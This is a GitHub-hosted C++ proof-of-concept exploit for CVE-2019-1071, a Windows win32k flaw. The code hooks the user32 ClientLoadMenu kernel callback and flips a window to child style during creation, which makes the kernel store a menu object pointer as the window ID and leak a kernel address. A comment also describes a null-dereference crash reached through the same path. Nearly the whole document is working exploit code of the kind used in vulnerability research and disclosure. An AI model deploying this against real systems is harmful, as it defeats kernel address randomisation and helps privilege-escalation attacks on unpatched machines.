-
Notifications
You must be signed in to change notification settings - Fork 86
Expand file tree
/
Copy pathxxxcreatewindow menu ptr leak.cpp
More file actions
76 lines (63 loc) · 2.87 KB
/
Copy pathxxxcreatewindow menu ptr leak.cpp
File metadata and controls
76 lines (63 loc) · 2.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// Gil Dabah 2019
// CVE-2019-1071
// Menu object kernel pointer leak.
// A kernel window structure shares the same field to hold either the id of a child window, or a menu pointer for a non-child window.
// We create a window that is non-child first, and then in one (xxxClientLoadMenu) of the callbacks to usermode, we change the window to become a child window.
// This confuses some if statements inside xxxCreateWindow code and causes the menu pointer to be assigned to the window as an id instead, which can later be read.
// Code is tuned for x64, but works on all windows versions and all archs.
// Bonus, there's a null deref also, caused by a null parent HWND, given the same flow of exploitation.
#include <windows.h>
#include <stdio.h>
#include "resource.h" // Just create a win32 project in VS that has a resource and a menu (IDR_MENU1).
HWND g_hWnd = NULL;
typedef LRESULT(CALLBACK *lm_proc)(HMODULE, PVOID);
lm_proc g_orig_lm = NULL;
#define ClientLoadMenu 0x4c
ULONG_PTR GetPEB()
{
return (ULONG_PTR)__readgsqword(0x60);
}
ULONG_PTR* GetUser32Callbacks()
{
return *(ULONG_PTR**)((char*)GetPEB() + 0x58);
}
LRESULT CALLBACK hookProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HCBT_CREATEWND)
{
// We need this because otherwise we get the HWND from
// CreateWindow below and it's too late for our loadmenu hook.
g_hWnd = (HWND)wParam;
}
return 0;
}
LRESULT CALLBACK loadmenu(HMODULE hm, PVOID s)
{
// This is the trick! It will turn the returned menu object pointer to a window ID
// because now the window is a child, hence the menu is the identifier of the window from now.
SetWindowLong(g_hWnd, GWL_STYLE, WS_CHILD);
printf("client loading menu\n");
// The call inside to LoadMenuW must succeed (to find a resource),
// therefore the cls.lpszMenuName should be a real menu eventually.
return g_orig_lm(hm, s);
}
int main()
{
WNDCLASS cls = { 0 };
cls.lpszClassName = "myclass";
cls.lpfnWndProc = DefWindowProc;
cls.lpszMenuName = MAKEINTRESOURCE(IDR_MENU1);
RegisterClass(&cls);
ULONG_PTR* ptrAddr = &GetUser32Callbacks()[ClientLoadMenu];
g_orig_lm = *(lm_proc*)ptrAddr;
DWORD oldProt = 0;
VirtualProtect((LPVOID)ptrAddr, sizeof(void*), PAGE_READWRITE, &oldProt);
*(ULONG_PTR*)ptrAddr = (ULONG_PTR)loadmenu;
VirtualProtect((LPVOID)ptrAddr, sizeof(void*), oldProt, &oldProt);
SetWindowsHookEx(WH_CBT, hookProc, NULL, GetCurrentThreadId());
// If there's no parent window it will AV on null GETPTI(parentwindow) right before zzzAttachThreadInput inside xxxCreateWindow.
// CreateWindow(cls.lpszClassName, NULL, WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, NULL /* No parent */, NULL, NULL, NULL);
CreateWindow(cls.lpszClassName, NULL, 0, 0, 0, 0, 0, GetDesktopWindow(), NULL, NULL, NULL);
printf("hwnd: %p\nleaked kernel address: %p\n", g_hWnd, (void*)GetWindowLongPtr(g_hWnd, GWL_ID));
return 0;
}